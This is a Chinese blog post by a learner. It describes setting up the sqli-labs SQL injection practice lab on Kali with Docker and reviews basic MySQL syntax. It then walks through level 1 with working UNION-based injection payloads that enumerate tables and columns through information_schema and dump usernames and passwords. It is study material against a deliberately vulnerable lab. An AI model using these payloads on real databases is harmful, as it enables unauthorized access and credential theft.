sqli-labs的搭建与sql-injection的学习
sqli-labs的搭建
sqli-labs是sql注入的练习靶场
最先在windows和kali上搭建,都失败了,期间换了n次php版本,换了n次mysql版本都没有很好的搭建出来,后面想到了用docker,于是最终在kali上终于用docker搭建好了!
首先看不惯默认的mariaDB,于是尝试在linux上删除mariadb安装MySQL
- 卸载mariaDB:
- 首先用 dpkg –list | grep mysql 查看自己的mysql有哪些依赖 卸载mysql相关应用 apt-get remove mysql* 再用 dpkg –list|grep mysql 查看,还剩什么就卸载什么 最后清除残留数据:
- dpkg -l | grep ^rc | awk ‘{print $2}’ | sudo xargs dpkg -P
- 保险起见再执行以下命令:
- apt-get remove mariadb-client
- apt-get autoremove mariadb-client
- apt-get remove mariadb-server
- apt-get autoremove mariadb-server
安装MySQL
- sudo apt update
- 在MySQL官网下载deb安装包
- sudo dpkg -i mysql-apt-config_0.8.15-1_all.deb
- sudo apt update
- sudo apt install mysql-community-server
安装docker
- curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add –
- echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list
- sudo apt-get update
- sudo apt-get remove docker docker-engine docker.io(卸载旧版本docker)
- sudo apt-get install docker-ce
至此可用systemctl status start restart enable等命令查看运行查看开机启动docker
以上安装在ubuntu或其他系统上应该没有这么麻烦。kali什么的年轻人就应该少去折腾这些
docker 的阿里云加速
- sudo mkdir -p /etc/docker
- sudo tee /etc/docker/daemon.json <<-‘EOF’
- {
- “registry-mirrors”: [“https://gqdxvbwj.mirror.aliyuncs.com“
- }
- EOF
- sudo systemctl daemon-reload
- sudo systemctl restart docker
下载sqli-labs容器
打开sqli-labs容器
我也是第一次用docker,深深的感受到了docker 的方便,还可以进入容器敲命令,虚拟化牛逼!!!!
至此,爷的sqlmap终于也能成功的扫出来一次了QAQ
MySQL的前置知识学习
MySQL的最最基础的知识大概已经了解了一些了,下面学学最基本的增删改查,且重点为查
增
数据库:create database databases_name [charset];
数据表:create table table_name (col1 type1,col2 type2…..) [charset];
添加数据:insert into table_name (order1,order2..) values (value1,value2…),(value3,value4…)….;
删
数据库:drop database database_name;
数据表:drop table table_name;
数据:delete from table_name where ..;
改
数据库:由于安全问题并未给出数据库改名字的命令
下面给出改数据库的编码方式:alter database database_name charset new_charset;
数据表:alter table table_name new_table_name;
字段名字:alter table table_name change col_name new_col_name col_type;
数据:update table_name set col1=value1,col2=value2… where..;
查
数据库:show databases;
数据表:show tables;
数据:
select 内容 [from] 内容常用*表示
[where] 后接条件:算术(比较,逻辑)运算符,模糊查找运算符:like(‘_’,’%’),正则表达式
[group by] 分组
[having] 用于group by后面,用于group by 的结果的筛选
[order by] 用于排序,(ctf中常用于爆字段)
[limit] 限制输出 (起始行号,行数)
union联合查询
是一种结果纵向堆叠的查询
information_schema库的重要作用
它包含了所有的库名和表名,字段名;
其中,table_schema:库名
table_name:表名
column_name:字段名
sqli-labs第一关
报字段数
0' order by 3 --+
报数据库名
0' union select 1,2,database()--+
回显了security数据库
报表名
0' union select 1,2,table_name from information_schema.tables where table_schema='security'--+
看到只能回显一列
用limit找找,报出来了出来users表
报字段名
0' union select 1,2,column_name from information_schema.columns where table_name = 'users' --+
用limit找找回显了username和password
0' union select 1,username,password from security.users --+
group_concat(concat_ws(0x23,table_name)) 由于只能回显一个,用此函数能够一次性回显
0' union select 1,2,group_concat(concat_ws(0x23,table_name)) from information_schema.tables where table_schema='security'--+
爆出了emails,referers,uagents,users表
0' union select 1,2,group_concat(concat_ws(0x23,column_name)) from information_schema.columns where table_name = 'users' --+
爆出了id,username,password字段
0' union select 1,group_concat(concat_ws(0x23,username)),group_concat(concat_ws(0x23,password)) from security.users --+
成功爆出用户名密码信息
。。
欲知后事如何,请待下回更新。